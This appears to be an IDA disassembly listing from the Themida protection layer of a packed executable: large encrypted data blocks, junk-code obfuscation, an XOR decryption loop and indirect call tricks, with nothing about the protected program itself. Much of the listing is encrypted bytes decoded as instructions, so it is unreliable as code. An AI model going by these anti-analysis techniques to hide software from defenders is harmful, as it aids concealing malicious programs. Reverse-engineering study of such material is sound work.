		dd 32156647h, 53CCED44h, 321574F8h, 36CD9188h, 0F2D12419h
		dd 0E520C572h, 6BD0ABBDh, 0CD89204Fh, 0B14E4270h, 67ED62E6h
		dd 321563ACh, 81D3E788h, 33311F65h, 81FBE7CCh, 6F311F30h
		dd 32157561h, 0D979E044h, 0C9D2929Fh, 2BB90531h, 0B5E8932Fh
		dd 0A45A04C1h, 0B71A9F42h, 32156611h, 6CAA31E9h, 0B317B125h
		dd 95060FC5h, 0B3C29133h, 321C7967h, 64CA9148h,	0B51F0F9Ch
		dd 6CE2571Fh, 0DB4A9E01h, 3215664Ch, 1C8452F3h,	0DDD8983Eh
		dd 39FD064Bh, 9A156644h, 0A1F3D409h, 45B0A958h,	6B42E70Bh
		dd 0B5D7D81Bh, 0DB741092h, 32156617h, 0F94C17BCh, 3B7D43BBh
		dd 0BB15667Fh, 0B31A421Dh, 32156685h, 32156EADh, 4483F822h
		dd 0A4F3E9D2h, 0CD739386h, 1E940072h, 545BE706h, 0B131629Ah
		dd 3773644Ch, 0B51A28C5h, 32156623h, 3DD65AEDh,	32142F0Ch
		dd 321B8F44h, 15A06622h, 959C0641h, 0AFD5416Dh,	78A92EDAh
		dd 0B61AAD1Eh, 3215673Fh, 3DD75A70h, 321438C0h,	0B9730622h
		dd 34FC06C0h, 43156688h, 2D4468A8h, 53D6EC93h, 3DDF5A70h
		dd 3214240Ch, 0E5950644h, 8DAC00F8h, 0F73073Fh,	0B61A4377h
		dd 3215671Ah, 3209E52Dh, 0B51A6611h, 3215669Eh,	321577ADh
		dd 9ED92522h, 40D71BE1h, 32E90B18h, 0E2B44E6Ah,	0F7347EFh
		dd 0B71A993Fh, 321566FAh, 30AE35BDh, 33156622h,	0B916ECE2h
		dd 0F6944294h, 32156640h, 3209E32Dh
; ---------------------------------------------------------------------------


loc_6004B8:				; DATA XREF: sub_581EE9+9010o
		adc	[esi+75h], esp
		fistp	dword ptr [esi-41EBCDEBh]
		push	edx
		and	ebp, [edi-0F883527h]
		retf	2922h
; ---------------------------------------------------------------------------
		dd 0F29C15A1h, 258AD66Bh, 604607DEh, 0E0E304A3h, 0BA828C08h
		dd 0FDEB3C93h, 0B22E81A2h, 0CA3597E6h, 92299FD3h, 32E9E24Bh
		dd 3FFC6622h, 0D6156611h, 2C6D88A2h, 89D252ABh,	548B75B9h
		dd 0B3EDEC71h, 9B359E5Ah, 3E9E0700h, 0D79C3306h, 3211A390h
		dd 0F7946688h, 32156640h, 6E314AA5h, 321577F8h,	4D488h
		dd 93713972h, 13D61696h, 36F9A11Eh, 81AD1D79h, 0A1723054h
		dd 3F86B5D5h, 3DD957F6h, 2015778Dh, 0B4FC9F24h,	0DB156623h
		dd 3215661Fh, 8D54229Bh, 967F5B27h, 37E4A0C7h, 0FB245E6Ah
		dd 0F99506E8h, 0F9940085h, 0B37463A3h, 0DAFF47CAh, 628407EBh
		dd 6A3162BBh, 0F99406B3h, 1936EEA3h, 0DB74BB3Dh, 321566C5h
		dd 321DE72Dh, 0BD1A6611h, 3215668Ah, 5AE90724h,	321567F1h
		dd 88317298h, 3215668Bh, 3D4FB7CDh, 32156AA9h, 8A730611h
		dd 0F194D786h, 31F69A1Fh, 33906943h, 0CB156611h, 32152261h
		dd 8F409A44h, 241C1933h, 0DF94B3E6h, 0DBE3E660h, 1E9E8FCDh
		dd 36D1E706h, 0CA156611h, 32154261h, 8F409A44h,	32156625h
		dd 0BBFFEF43h, 0DB483C59h, 32156655h, 30EBCCA5h, 30E2A191h
		dd 3E26A3F7h, 0F8AF068Fh, 52B195C4h, 32156CF9h,	7664BF88h
		dd 1D84F13Bh, 0DB0C0599h, 3215661Eh, 15513FF8h,	0F5D94ACDh
		dd 0BB8E9F61h, 6BAB6A09h, 0F7AD00E8h, 53F7D64Eh, 5798ED43h
		dd 5213723Bh, 60CAD987h, 5475071Bh, 0B9F2A39Dh,	0FB9007C7h
		dd 322EE387h, 3D756644h, 321567AEh, 0BB749A11h,	263F033Dh
		dd 321A8F42h, 0A29D6622h, 471BCE92h, 640E0835h,	2EFA50C6h
		dd 32068F9Eh, 28336611h, 0DD047F96h, 4B7A5605h,	133AB1DCh
		dd 0E075D552h, 1619EDD9h, 0B3F7EF16h, 321562E0h, 36D7E511h
		dd 6E31720Fh, 25AA31B8h, 60262239h, 0D84CD3ABh,	70B6DEA6h
		dd 0E2247BEAh, 6DED5778h, 321576F8h, 64402388h,	0ABE49490h
		dd 8EDCE98Eh, 34E7D564h, 54E0A5C2h, 617350BBh, 4973DD44h
		dd 16496777h, 544E008Ah, 5438001Ch, 349C6959h, 52156611h
		dd 53753CD9h, 3DD65A25h, 3214ADA6h, 321B8F11h, 34BB6688h
		dd 0FB4020BAh, 0F3C87458h, 34461A36h, 0BAD0EED9h, 1619EDAFh
		dd 3211A2A3h, 54756611h, 86BEA631h, 5A73074Dh, 0BB733839h
		dd 0C2A4421Dh, 6B73ADA8h, 321572ADh, 94112D22h,	2A191437h
		dd 987CEEB1h, 0AD45EA44h, 0FEF62CD5h, 42EEE65Dh, 3194E287h
		dd 0EE06644h, 5B9169CBh, 0CB156610h, 0B61A8DB4h, 32156724h
		dd 0E749E42h, 679169D3h, 3D156689h, 32156AC5h, 34956922h
		dd 3D156611h, 32156607h, 32018F44h, 0ECD6622h, 7BF91C1Ah
		dd 9ECBA65Ah, 0F098744Eh, 819A5040h, 0F9292D1Dh, 3337E287h
		dd 0BA1A6644h, 32156630h, 32138E71h, 2706688h, 85656EC7h
		dd 0A2AE007Bh, 0F7307A3h, 0B61A4377h, 32156744h, 32156DCBh
		dd 2BB7B911h, 90E75105h, 6D241C6Ah, 3209E72Dh, 0B61A6611h
		dd 3215669Eh, 321577ADh, 0E1197D22h, 0F88E82F6h, 410D1075h
		dd 5AFD830Ah, 0F829C760h, 32D3E21Eh, 0B3756688h, 789A2094h
		dd 1440DF69h, 0E7408E2h, 0F291696Bh, 0DB156646h, 32156627h
		dd 9F415F5Dh, 1C2800D9h, 669069BBh, 0DB156622h,	3215661Dh
		dd 17783D6Ch, 9474C7FFh, 1CAB515Bh, 32170E42h, 334E6688h
		dd 6916ECB7h, 9A734DAh,	0F8EBBCE7h, 1239A408h, 1601ED94h
		dd 3211A2A3h, 0B21A6611h, 3215668Eh, 0C0A26924h, 922907D7h
		dd 3243E21Eh, 3D756688h, 321564C7h, 3DD6ED22h, 6074B4AEh
		dd 32156632h, 6943444h,	4E29A606h, 0F2203E02h, 68061AB4h
		dd 379A6924h, 54156622h, 30668590h, 0DB747839h,	32156630h
		dd 2B9369DAh, 0DB156611h, 3215669Ch, 0F3014830h, 99FE349Ah
		dd 88593DB4h, 0F802DF96h, 6DC5A515h, 1870D3ABh,	0BFEC6005h
		dd 28B44115h, 25996942h, 0DB156622h, 32156603h,	0FC56806Ah
		dd 81F88020h, 2005BC48h, 550EC37Ah, 0E1EA4B87h,	884793B1h
		dd 76FB6781h, 0E96265A9h, 68C5679Bh, 69508971h,	0F5D4B2Bh
		dd 0BB1A3783h, 3215668Fh, 0F1AA6924h, 0CA743D70h, 32068FD2h
		dd 0C7916688h, 0EE9087F8h, 3B399206h, 45097EA8h, 0A11B3878h
		dd 7C290E95h, 369C6622h, 89469F35h, 32156698h, 0AE88DC5h
		dd 0C11438F0h, 0AE8A590h, 319E385Ah, 359C691Fh,	3D156622h
		dd 32156796h, 0B79C9E88h, 34014DE1h, 162199DAh,	36D1E549h
		dd 2EAF3471h, 33156644h, 1601EDF4h, 0CB11A292h,	638DB05h
		dd 0B71A6050h, 32156625h, 0C39E0071h, 9F74B102h, 321D8E24h
		dd 6B136622h, 49316713h, 0DA4BC571h, 3215664Dh,	0A0F0DE18h
		dd 2D4AF10Ch, 32138F77h, 273E6644h, 0C9A5EDD1h,	8C430748h
		dd 1A043F48h, 0FC94B0B3h, 42993103h, 0F31788D0h, 0F4946366h
		dd 75BD4A6Fh, 314B960Bh, 37314255h, 7B8D6C91h, 3D0EDD24h
		dd 18AE1998h, 53035F1Dh, 8F989E23h, 3401664Dh, 320DE92Dh
		dd 21FC6611h, 0A1156688h, 0EC6415D5h, 7CDCC7B1h, 23A66472h
		dd 0DDA110E9h, 3DB8D82Eh, 32156CACh, 0BE1A0611h, 32156688h
		dd 1F74CBF4h, 3237674Dh, 0F309C63Ch, 1651658Dh,	2EB56360h
		dd 5D1063E3h, 0DB154410h, 32156682h, 8EADDD92h,	0AE2AD4F8h
		dd 0A37DEC4Eh, 0BB15669Bh, 0BF1A4240h, 32156623h, 0BFE0CDE4h
		dd 260BCF35h, 321A8F42h, 0E9BA6622h, 0AF98292Eh, 458B5441h
		dd 59DDBCF6h, 22FCCB19h, 9E156611h, 0EE0D1FB9h,	1325558Dh
		dd 4915A9DCh, 1FAC3284h, 56AF5FA8h, 1A312247h, 0B35DF73h
		dd 0FA1402ABh, 4DAC06D1h, 533B420Ch, 321E8F89h,	1B6A6611h
		dd 609C6347h, 0C997EB16h, 1621997Fh, 36D1E54Fh,	33946974h
		dd 0C7156644h, 3D759AE1h, 3215669Fh, 3812D888h,	627471DFh
		dd 361086ABh, 1F156611h, 3215668Ch, 6E3162C3h, 3D3152ABh
		dd 32157696h, 321E8F88h, 92E6644h, 0B46E1D1Ch, 5CBE3886h
		dd 3D9E69B1h, 52156644h, 32156ECBh, 0B8D15A11h,	5B794AA1h
		dd 0AF980702h, 340FC660h, 321563F8h, 4C59B988h,	0E1EADE3Ah
		dd 0A9AC0042h, 7EFC0765h, 3DEA9975h, 321576C9h,	321E8F22h
		dd 756C6611h, 30AD77F0h, 8A8E24AEh, 4ECEDF9Ch, 4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A45EEE75h, 2AA8ED96h, 29458A15h
		dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
		dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh,	0F2798A15h
		dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
		dd 0D7BA8660h, 0BFCE2559h, 0F143914Ah, 4A3832DCh, 71BA8C0Eh
		dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C4FF7F4h
		dd 0CEDF0746h, 0D552B331h, 5E0003C6h, 2A5492B8h, 0AE307515h
		dd 0A75CDDAEh, 0B91A3B8Fh, 0B0D9FB57h, 0A45EEA79h, 6FDD7BAEh
		dd 0A25863E9h
dword_600C00	dd 5FABA851h, 0AA307519h, 75E932DCh, 2F168C0Eh,	3134C4CBh
					; DATA XREF: Themida_:0057E274o
		dd 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h
		dd 3044h, 0B8E9h, 44375700h, 772627C0h,	9C1934B3h, 8A010F98h
		dd 0B7EA1986h, 7EC4E873h, 51CE524Fh, 2AB57934h,	9F631Eh
		dd 0EE8B8FFEh, 0F7271293h, 17BC55EBh, 256967ADh, 0F09249F8h
		dd 2246CA53h, 1655562Ah, 0A774BEFBh, 5D2EF2A9h,	7787020Eh
		dd 0A8940113h, 5453F092h, 532CB0B1h, 0D891770Dh, 9E567982h
		dd 81001994h, 80C65370h, 9753B5F2h, 0Dh, 9F188B1Dh, 53F092ACh
		dd 0D1D12327h, 346767C3h, 52497B04h, 6E29253Ah,	8904015Eh
		dd 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h
		dd 30681F27h, 0E9061B65h, 0FFF91B05h, 0FE0BD3Fh, 45D9318Ch
		dd 3E87D03Bh, 6E82Fh, 8A7F0000h, 7B110D12h, 0B25BBDB5h
		dd 0EAC381A8h, 6600005Dh, 0BECACABAh, 0
; ---------------------------------------------------------------------------
		push	dword ptr [esi+ebx]
		mov	dl, 0DBh
		pop	edi
		jmp	loc_600D1C
; ---------------------------------------------------------------------------
		db 80h
		dd 6BF0AAF9h, 0FCDCBD43h
; ---------------------------------------------------------------------------


loc_600D1C:				; CODE XREF: Themida_:00600D0Ej
		add	edi, 564A266Fh
		call	loc_600D34
		xor	al, 3Eh
		mov	esi, 631B2157h
		mov	ecx, 94F7B62h
		dec	edx


loc_600D34:				; CODE XREF: Themida_:00600D22p
					; Themida_:00600D90j
		movzx	eax, di
		pop	ecx
		add	edi, 5F3CDFF9h
		jmp	loc_600D4A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0F2827AD9h
		db 1Fh,	28h
; ---------------------------------------------------------------------------


loc_600D4A:				; CODE XREF: Themida_:00600D3Ej
		xor	edi, 545EAB2Fh
		pusha


loc_600D51:				; CODE XREF: Themida_:00600DA5j
		sub	al, 0FEh
		jge	loc_600D5C
		pusha
		popa


loc_600D5C:				; CODE XREF: Themida_:00600D54j
		popa
		mov	[ebx+esi], edi
		mov	ecx, edi
		mov	ecx, 756ED99Eh
		sub	esi, 4
		mov	dx, 7537h
		cmp	esi, 0F305E983h


loc_600D74:				; CODE XREF: Themida_:00600DDAj
		movsb
		mov	ecx, ebx
		in	al, 0A8h	; Interrupt Controller #2, 8259A
		fstp	st(6)


loc_600D7B:				; CODE XREF: Themida_:00600DCDj
		inc	esp
		inc	esi
		push	esi
		xor	dh, [ecx+5BB30C57h] ; CODE XREF: Themida_:00600DDFj
		imul	eax, [esi+503CB728h], 1AEAB132h
		push	0FFFFFFA1h
		jnz	short near ptr loc_600D34+2
		aaa
		mov	esi, 0B132403Eh
		pop	ebp
		mov	edi, 56AEB123h
		not	dword ptr [ebx+38096A3Fh]
		push	ebx
		jnb	short loc_600D51
		pop	ebx
		aad	9Ah
		dec	ecx
		sub	ecx, 5
		rep movsb
		mov	al, 0F1h
		adc	[ebp+75FD7AF2h], ebx
		and	edi, ebx
		pop	ss
		pop	esi
		aam	61h
		sti
		and	eax, 0FDF53FD5h
		lodsd
		insb
		call	far ptr	0CFB7h:3422916Eh
		jp	short loc_600D7B
		and	esi, [edi+1A20AD29h] ; CODE XREF: Themida_:00600DD5j
		jp	short near ptr loc_600DCF+5
		jnz	short loc_600E52
		daa
		jl	short loc_600D74
		lock adc ah, dh
		jnb	short near ptr loc_600D7E+3
		jmp	dword ptr [eax+13h]
; ---------------------------------------------------------------------------
		dd 0F305E983h, 8DDB8BA4h, 1BA6F4BDh, 0B98D8D06h, 0B8061C2Fh
		dd 32156644h, 0E9C1CF2Bh
		db 2
; ---------------------------------------------------------------------------


loc_600E01:				; CODE XREF: Themida_:00600E09j
		xor	[edi], eax
		ror	al, 1
		add	edi, 4
		dec	ecx
		jnz	short loc_600E01
		stc
		jz	loc_600E13
		stc


loc_600E13:				; CODE XREF: Themida_:00600E0Cj
		jge	loc_600E24
		pusha
		and	ecx, 5DDEC4EBh
		mov	si, dx
		popa


loc_600E24:				; CODE XREF: Themida_:loc_600E13j
		push	eax
		sub	dword ptr [esp], 6D67752Ch
		mov	eax, [esp]
		add	esp, 4
		add	eax, 6D67752Ch
		clc
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_600E4D
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_600E66


loc_600E4D:				; CODE XREF: Themida_:00600E42j
		push	eax
		push	ebx
		mov	eax, eax
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_600E52:				; CODE XREF: Themida_:00600DD7j
		adc	[eax+eax], eax
		add	[ecx+1424F185h], cl
		push	es
		lea	ebx, [ebp+616A7B9h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_600E66:				; CODE XREF: Themida_:00600E4Bj
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_600E86
		push	eax
		push	ebx
		mov	eax, 411h
		mov	[ebp+61424F1h],	eax
		lea	ebx, [ebp+616A45Ah]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_600E86:				; CODE XREF: Themida_:00600E6Dj
		cld
		jnz	loc_600E98
		jmp	loc_600E98
; ---------------------------------------------------------------------------
		dw 0ABA0h
		dd 946DA38h
; ---------------------------------------------------------------------------


loc_600E98:				; CODE XREF: Themida_:00600E87j
					; Themida_:00600E8Dj
		push	eax
		xor	dword ptr [esp], 2C4072E7h
		pop	eax
		push	esi
		mov	esi, 2C4072E7h
		xor	eax, esi
		pop	esi
		stc
		clc
		call	near ptr loc_600EB3+4
		jle	short loc_600EDC


loc_600EB3:				; CODE XREF: Themida_:00600EACp
		sbb	[esp+edi*8+17BA66D1h], ch
		xchg	eax, ecx
		pop	edi
		mov	ebx, eax
		add	edi, 6DF3h
		jnb	loc_600EDD
		pusha
		jmp	loc_600ED7
; ---------------------------------------------------------------------------
		sub	eax, 82E6038Dh
		db	26h
		setalc


loc_600ED7:				; CODE XREF: Themida_:00600ECBj
		mov	eax, 5EE5FFDCh


loc_600EDC:				; CODE XREF: Themida_:00600EB1j
		popa


loc_600EDD:				; CODE XREF: Themida_:00600EC4j
		xor	ecx, ecx
		jo	loc_600EFC
		call	sub_600EF5
		jmp	far ptr	57FEh:0F9EC0A6Eh
; ---------------------------------------------------------------------------
		popa
		jl	short loc_600F39
		pusha

; =============== S U B	R O U T	I N E =======================================



sub_600EF5	proc near		; CODE XREF: Themida_:00600EE5p
		jb	$+6
		pop	ebx


loc_600EFC:				; CODE XREF: Themida_:00600EDFj
					; sub_600EF5:loc_600FCDj
		push	dword ptr [ecx+edi]
		jle	loc_600F1D
		pusha
		push	edx
		pop	eax
		jmp	loc_600F1C
; ---------------------------------------------------------------------------
		db 0F7h, 0FFh, 0B1h
		dd 0F7F5C19Bh, 29FD8F20h
		db 0DDh, 26h, 3Fh
byte_600F1B	db 0E0h			; CODE XREF: sub_600EF5:loc_600F39j
; ---------------------------------------------------------------------------


loc_600F1C:				; CODE XREF: sub_600EF5+13j
		popa


loc_600F1D:				; CODE XREF: sub_600EF5+Aj
		pop	eax
		cld
		xor	eax, 42B8ED80h
		adc	si, 30FBh
		xor	eax, 56E108B1h
		jmp	loc_600F42
; ---------------------------------------------------------------------------
		db 87h,	0B6h, 0E9h
		db 0CAh
; ---------------------------------------------------------------------------


loc_600F39:				; CODE XREF: Themida_:00600EF2j
		jnb	short near ptr byte_600F1B
		movsd
		mov	ds:31C5B557h, al
; ---------------------------------------------------------------------------
		db 0B0h
; ---------------------------------------------------------------------------


loc_600F42:				; CODE XREF: sub_600EF5+3Bj
		add	eax, 53927AD6h
		mov	dx, ax
		push	eax
		pusha
		jmp	loc_600F59
; ---------------------------------------------------------------------------
		dw 0DBCDh
		dd 0AD757E85h
		db 0A8h
; ---------------------------------------------------------------------------


loc_600F59:				; CODE XREF: sub_600EF5+58j
		jbe	loc_600F6F
		jmp	loc_600F6F
; ---------------------------------------------------------------------------
		dd 0B7BCC31Dh, 0ECE253F8h
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		xchg	eax, esi
		push	edi


loc_600F6F:				; CODE XREF: sub_600EF5:loc_600F59j
					; sub_600EF5+6Aj
		popa
		pop	dword ptr [edi+ecx]
		jnb	loc_600F82
		pusha
		mov	di, 8FB1h
		mov	cx, ax
		popa


loc_600F82:				; CODE XREF: sub_600EF5+7Ej
		push	ebx
		mov	dx, 2B21h
		pop	edx
		sub	ecx, 56A244Eh
		add	ecx, 56A244Ah
		sub	dl, 47h
		cmp	ecx, 0FFFF933Ch
		jnz	loc_600FCD
		jmp	loc_600FB7
; ---------------------------------------------------------------------------
		dd 0CB6F128Ch, 63770545h, 948FC1F5h
		db 2, 2Eh, 1Ah
; ---------------------------------------------------------------------------


loc_600FB7:				; CODE XREF: sub_600EF5+AEj
		jmp	loc_600FE4
; ---------------------------------------------------------------------------
		add	eax, 3DCCA98h
		daa
		sahf
		push	edx
		inc	ecx
		cmp	eax, 0BD027DB0h
		lds	ecx, [ecx+39h]


loc_600FCD:				; CODE XREF: sub_600EF5+A8j
		jmp	loc_600EFC
; ---------------------------------------------------------------------------
		dw 0D6E2h
		dd 0E0A2640Ah, 0A4A6A2FAh, 0B27B07D1h, 0C5332C16h
; ---------------------------------------------------------------------------


loc_600FE4:				; CODE XREF: sub_600EF5:loc_600FB7j
		lea	ecx, [ebp+61C34BAh]
		jmp	loc_600FFB
; ---------------------------------------------------------------------------
		db 76h
		dd 5B0BEBF2h, 2F49B3BAh
		db 0A3h, 0Ah, 0Fh
; ---------------------------------------------------------------------------


loc_600FFB:				; CODE XREF: sub_600EF5+F5j
		mov	[ebp+6142B69h],	ecx
		mov	dword ptr [ebp+6141055h], 5D5Ch
		mov	si, cx
		mov	dword ptr [ebp+614013Dh], 0
		mov	edi, [ebp+6142699h]
		mov	[ebp+61407F1h],	eax
		push	dword ptr [ebp+61404B1h]
		push	0
		push	ebx
		call	sub_601035
		and	[ebx-3Dh], bl
sub_600EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_601035	proc near		; CODE XREF: sub_600EF5+138p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_601035	endp

; ---------------------------------------------------------------------------
		push	ss
		movzx	esi, cx
		call	dword ptr [ebp+6140BD9h]
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_6010D7
; ---------------------------------------------------------------------------
		db 0EBh
		dd 18E944FBh, 180E156Ch, 9B4E315Bh, 58ACF4A4h, 0CD0A29F0h
		dd 76166CC3h, 17F5E43h,	7CA423BFh, 3DC2B63Eh, 0E778DD73h
		dd 27168F73h, 35668A3Bh, 162FF63Ch, 253DD487h, 7D64FBCBh
		dd 0B333F2AEh, 9E15FC50h, 96288D70h, 0F7FF0D08h, 0EFC43F2Ah
		dd 9ABCF87Ah, 2DED109Bh, 0BCD5D89Eh, 6F3EC741h,	372300E7h
		dd 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h,	0A1835700h
; ---------------------------------------------------------------------------
		sbb	[edx], eax
		inc	ecx


loc_6010D7:				; CODE XREF: Themida_:00601059j
		jmp	loc_6010E5
; ---------------------------------------------------------------------------
		dd 4663ABFCh, 0
		db 0
; ---------------------------------------------------------------------------


loc_6010E5:				; CODE XREF: Themida_:loc_6010D7j
		jmp	loc_601574
; ---------------------------------------------------------------------------
		push	61C3640h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61C36B3h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61C37E9h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dd 7C80FB0Bh, 67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h, 1FE39EADh
		dd 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh
		dd 0ECA78B46h, 0C1CB0855h, 5356867h, 2655487Ah,	92DF6ACBh
		dd 0D0FF53F0h, 0AF65E9DDh, 3FC090EBh, 6B2223BFh, 3637E7B5h
		dd 5339C8FCh, 8B13FF38h, 301449DCh, 4845441Bh, 84BBFACAh
		dd 6655E596h, 0CE9D90E7h, 0A24EC4C1h, 8BA9907Ch, 2A51Ah
		dd 591E9600h, 112A5EAFh, 0DC6B6294h, 0A697FB49h, 193CBDF9h
		dd 1986F156h, 5089FD2Ah, 0C675B2A9h, 5D5089FDh,	675FD5F9h
		dd 5CD9F286h, 4AA501D6h, 0F140ED58h, 725A7DE9h,	98FC040Eh
		dd 63E9F860h, 25A6CF68h, 0C5494051h, 0E695B7B6h, 8838522h
		dd 8DC64307h, 0FFCD3D5Fh, 2D4h,	0B0742727h, 0A3671637h
		dd 888C0904h, 76BAF11Fh, 63A7DAE9h, 3F4EF4D8h, 2421BE42h
		dd 0E3AA569h, 0EE108F93h, 0A31E7BBFh, 0ECA43702h, 9D074C55h
		dd 0E01B6180h, 0D4443447h, 304BCF49h, 6E9C1A29h, 4098EBC5h
		dd 97BBB21Ah, 0CCFFE367h, 2108BBDh, 0C7BAC956h,	0F9D676B7h
		dd 0A90455ECh, 0ECF93D0Ch, 40D2B655h, 0FD02798Bh, 69131243h
		dd 615F6DDDh, 0D4000002h, 0AA35F9B4h, 8720E499h, 920D118Ch
		dd 6AF53974h, 59E2265Bh, 0CDC0CF77h, 0F4B1DE49h, 0E09BB730h
		dd 0A81831Ch, 97106B06h, 55ECA4A4h, 8010943Fh, 47E01B61h
		dd 49D44434h, 0F2334BCFh, 55ECA44Bh, 0A60772A9h, 55ECA4ABh
		dd 96172428h, 55ECA4BBh, 31DE5438h, 0BE5298DAh,	776C8BB0h
		dd 48000001h, 6366567h,	0E2434779h, 53F09257h, 7F534A47h
		dd 5333F71Bh, 68B5C6B2h, 49DC63A6h, 40B3CB4Fh, 26870B39h
		dd 55E4832Bh, 7280A4A8h, 0E4833C03h, 0D83FDE55h, 0A899549Ah
		dd 36628Bh, 8B4E0000h, 56DCD9F4h, 0C2F98F5Eh, 88BBE457h
		dd 0B53F092h, 92800D07h, 9449DC6Ch, 0CDFDB8D5h,	0DBBFCB49h
		dd 9D3B02A3h, 3ED955E4h, 9B559BD7h, 0A4618BA8h,	4F000000h
		dd 84216567h, 53F092B5h, 0F4314ACEh, 53F09345h,	26567ADEh
		dd 47772A59h, 64970638h, 939DAC09h, 321653F0h, 89BBC4E0h
		dd 27D0E12h, 0F09396A5h, 0C898653h, 202498FCh, 963AE3D2h
		dd 6C9E53F0h, 7495ED31h, 0D2AA0B00h, 5F49DFF2h,	8AB9C0FBh
		dd 75941317h, 0D347F738h, 89E16918h, 12BBBh, 37E8E00h
		dd 2E5F60FFh, 57527DEAh, 7F3654D3h, 601D2CBBh, 8D351F9Ch
		dd 60FF037Eh, 79E62A63h, 51CE524Dh, 0DDB87C2Fh,	0A572C16Eh
		dd 42F155ECh, 3568675Eh, 9FCA9AF1h, 0B407BEB1h,	739D65Ch
		dd 67429094h, 46053665h, 0D6324A47h, 0ED1F605Ch, 0FB0A7ABEh
		dd 0F317E8Dh, 8449DC2Ch, 0DC3B1697h, 0D4B855E4h, 3CD9BB0h
		dd 6A2521BCh, 8CA02BB4h, 27262586h, 9FD5A66Ah, 80F81DCBh
		dd 0ED4A41FFh, 55E4445Eh, 32A371D5h, 55E4440Bh,	9E62192Bh
		dd 1F980201h, 55E4442Ch, 8FBFA3A7h, 8BBDh, 61803B00h, 0F675E01Bh
		dd 8D0528D7h, 0A23DF92Ch, 67974BEh, 0D49D40Fh, 1782F109h
		dd 17133241h, 0BA831B44h, 55ECB08Fh, 5DF20004h,	33AC702Bh
		dd 0C3629A11h, 956CC22Bh, 0F4512754h, 0E1515D6Eh, 0E650A08h
		dd 5ADECDFFh, 93BBBCDh,	0FA1E7A92h, 108DBAC1h, 16969CF8h
		dd 4B403B49h, 2AEC5FD8h, 0E367156Bh, 0C3329511h, 0DEEA71ACh
		dd 0D6374DA3h, 1B6CC204h, 4D404219h, 712C5EC9h,	0A4B59h
		dd 8BE10000h, 0ACDCD9F4h, 0D4DEEA28h, 4346767h,	3A52497Bh
		dd 5E6E2925h, 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh
		dd 18306D98h, 27574647h, 0E789571Fh, 4C781h, 0EF830000h
		dd 243C8704h, 242C895Ch, 654668h, 24348900h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 52241489h, 8E5155BAh, 81D2F725h
		dd 0AE6EE2EAh, 0C1EAD162h, 0CA8107EAh, 745822B7h, 0D6D3F281h
		dd 81527263h, 2CA62404h, 815E03FDh, 0FD2CA6EEh,	80685A03h
		dd 8900007Fh, 4812424h,	424h, 0EC835A00h, 24348904h, 8B08428Fh
		dd 89572414h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 2434FF5Ch
		dd 4C4815Eh, 0E9000000h, 0FFF8470Ch, 407D8E02h
; ---------------------------------------------------------------------------


loc_601574:				; CODE XREF: Themida_:loc_6010E5j
		mov	eax, 61C3939h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 88h,	66h, 62h
		dd 7B46977Ah, 0F87EE024h, 180591Ah, 85F05426h, 0FDB80D05h
		dd 40531326h, 0E21A8809h, 0B5E23340h, 0B433C108h, 0BB01DD2Fh
		dd 0D13E8E62h, 0CEA58636h, 0FD070C63h, 47914C1Ah, 0BA881507h
		dd 0D7366E4Bh, 0E3C00333h, 0E65B3925h, 0F6D59150h, 13E87Fh
		dd 18670000h, 24D2258Ah, 0D4B3D712h, 2AF1A579h,	0FB232469h
		dd 533CB85Ch, 605A07A3h, 0DA8B51FCh, 0C281615Bh, 67C2h
		dd 5E30B756h, 0BFh, 13E95100h, 0B0000000h, 18B6E4D4h, 714E27B3h
		dd 0E5012553h, 6FFD6D1h, 8B585AFDh, 0F1813A0Ch,	11CBCC6Eh
		dd 302A9FBEh, 1C18174h,	81052DC2h, 948418C1h, 9E93Fh, 0D84F0000h
		dd 9FE06D2Ch, 51288E47h, 41E68166h, 3A048F27h, 188E0Fh
		dd 13E90000h, 0D5000000h, 2432FF62h, 3AFF272h, 0DE2BAC8h
		dd 7D3364E1h, 9E95153h,	50000000h, 0B4FC61D7h, 7D067F2Dh
		dd 6260EF81h, 82B71065h, 625CC781h, 81661065h, 81013DDEh
		dd 0FF9904FFh, 84850FFFh, 0BBFFFFFFh, 552375Dh,	0EDE9h
		dd 8C666000h, 0F04A8D8h, 0DF84h, 89B58B00h, 8306141Bh
		dd 850F00FEh, 22h, 84985C6h, 68450614h,	8E726969h, 0C2DB5FFh
		dd 858D0614h, 61778FEh,	8589D0FFh, 6141869h, 3E80F08Bh
		dd 31850FE9h, 8D000000h, 198E3485h, 8BD0FF06h, 143169BDh
		dd 84C78106h, 8B000011h, 141B89B5h, 0B9F78706h,	8, 0B58BA4F3h
		dd 6141B89h, 293E858Dh,	0D0FF0618h, 2E01B58Bh, 0FE830614h
